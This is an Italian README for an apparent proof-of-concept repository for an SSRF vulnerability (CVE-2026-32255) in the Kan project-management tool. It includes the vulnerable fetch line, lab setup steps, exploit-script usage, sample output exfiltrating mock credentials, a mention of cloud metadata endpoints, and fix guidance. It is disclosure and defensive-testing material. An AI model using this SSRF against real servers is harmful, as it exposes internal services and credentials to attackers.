Kan SSRF tramite Download Allegati (CVE-2026-32255) - Proof of Concept

Questo repository contiene una proof of concept (POC) per CVE-2026-32255, una vulnerabilità di Server-Side Request Forgery (SSRF) ad alta gravità in Kan, uno strumento open-source di gestione progetti.

L'endpoint vulnerabile consente ad attaccanti non autenticati di effettuare richieste HTTP arbitrarie dal server e di leggere la risposta completa, consentendo l'accesso a servizi interni ed endpoint di metadata cloud.

Dettagli della Vulnerabilità

Informazioni CVE

ID CVE: CVE-2026-32255
Versioni Affette: Kan <= 0.5.4
Versione Corretta: 0.5.5
Punteggio CVSS: 8.6 (Alto)
Vettore CVSS: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
CWE: CWE-918 (Server-Side Request Forgery)

Descrizione

Il file apps/web/src/pages/api/download/attatchment.ts espone un endpoint GET /api/download/attatchment progettato per fare da proxy ai download degli allegati dallo storage S3. L'endpoint accetta un parametro query url controllato dall'utente e lo passa direttamente a fetch() lato server senza alcuna validazione o autenticazione:

const upstream = await fetch(url); // nessuna validazione su `url`

Un attaccante può fornire qualsiasi URL, facendo sì che il server effettui una richiesta HTTP verso quella destinazione e restituisca il corpo completo della risposta al client. Si tratta di una SSRF a lettura completa (non cieca), il che significa che l'attaccante può leggere l'intero contenuto della risposta.

Impatto

Accesso a servizi interni non esposti a internet
Lettura di endpoint di metadata cloud (ad es., http://169.254.169.254/ su AWS/GCP)
Scansione delle porte delle reti interne
Esfiltrazione di dati sensibili da API interne

Riferimenti

Esecuzione della POC

Prerequisiti

Docker e Docker Compose
Bash
curl

Passo 1: Eseguire un'istanza Vulnerabile di Kan

Clonare ed eseguire Kan v0.5.4 (l'ultima versione vulnerabile):

git clone --branch v0.5.4 https://github.com/kanbn/kan.git
cd kan

Configurare le variabili d'ambiente richieste:

cat > .env <<'EOF'
NEXT_PUBLIC_BASE_URL=http://localhost:3000
BETTER_AUTH_SECRET=poc-secret-not-for-production-use
POSTGRES_URL=postgresql://kan:kan@localhost:5432/kan_db
POSTGRES_PASSWORD=kan
REDIS_URL=redis://localhost:6379
NEXT_PUBLIC_STORAGE_URL=http://localhost:9000
EOF

Nota: Se si riceve un errore relativo a dokploy-network, rimuovere i riferimenti a dokploy-network da docker-compose.yml (righe 9, 130-131) ed eseguire nuovamente docker compose up -d. Questa rete non è necessaria in locale.

Avviare i container:

docker compose up -d

L'applicazione dovrebbe essere disponibile all'indirizzo http://localhost:3000.

Passo 2: Avviare il Servizio Interno Simulato

In un terminale separato, avviare il servizio interno mock incluso che simula un'API interna sensibile:

python3 internal-service.py

Questo avvia un server sulla porta 8888 che restituisce credenziali fittizie, simulando un servizio che dovrebbe essere accessibile solo dalla rete interna. In uno scenario reale, questo servizio sarebbe isolato dietro un firewall e irraggiungibile dall'esterno. La SSRF consente all'attaccante di raggiungerlo tramite il server.

Passo 3: Eseguire l'Exploit

chmod +x exploit.sh
./exploit.sh http://localhost:3000

Utilizzo dello Script Exploit

Utilizzo

./exploit.sh <url-target> [url-interno]

<url-target>: URL di base dell'istanza Kan (ad es., http://localhost:3000)
[url-interno]: URL interno da recuperare tramite SSRF (opzionale, rilevato automaticamente dal gateway del bridge Docker)

Esempio

./exploit.sh http://localhost:3000

=== CVE-2026-32255 - Kan SSRF tramite Download Allegati ===
Target: http://localhost:3000
URL interno: http://172.17.0.1:8888

[*] Verifica se l'endpoint è raggiungibile...
[+] Endpoint raggiungibile (HTTP 400)

[*] Tentativo di SSRF verso http://172.17.0.1:8888 ...
[+] VULNERABILE - Il server ha recuperato la risorsa interna

Contenuto esfiltrato:
------------------------------------------------------------
{
  "service": "internal-config-api",
  "credentials": {
    "db_host": "10.0.0.5",
    "db_user": "admin",
    "db_password": "s3cret_passw0rd!",
    "api_key": "sk-internal-4f8a2b1c9d3e7f6a5b0c8d2e1f4a7b3c"
  }
}
------------------------------------------------------------

Come Correggere la Vulnerabilità

Aggiornare Kan (Consigliato)

Aggiornare a Kan v0.5.5 o successivo, che valida il parametro url rispetto al nome host dell'endpoint S3 configurato prima di fare da proxy alla richiesta.

Workaround: Bloccare al Reverse Proxy

Se non è possibile aggiornare immediatamente, bloccare l'accesso esterno all'endpoint vulnerabile a livello di reverse proxy.

Disclaimer

Questa proof of concept è fornita solo per scopi educativi e test di sicurezza autorizzati. Utilizzare questo strumento esclusivamente su sistemi di propria proprietà o per i quali si dispone di esplicita autorizzazione scritta.

L'autore non è responsabile per qualsiasi uso improprio delle informazioni o degli strumenti forniti in questo repository. L'accesso non autorizzato a sistemi informatici è illegale.

Scoperto da: kOaDT ([email protected])

poc-cve-2026-32255

Più Popolari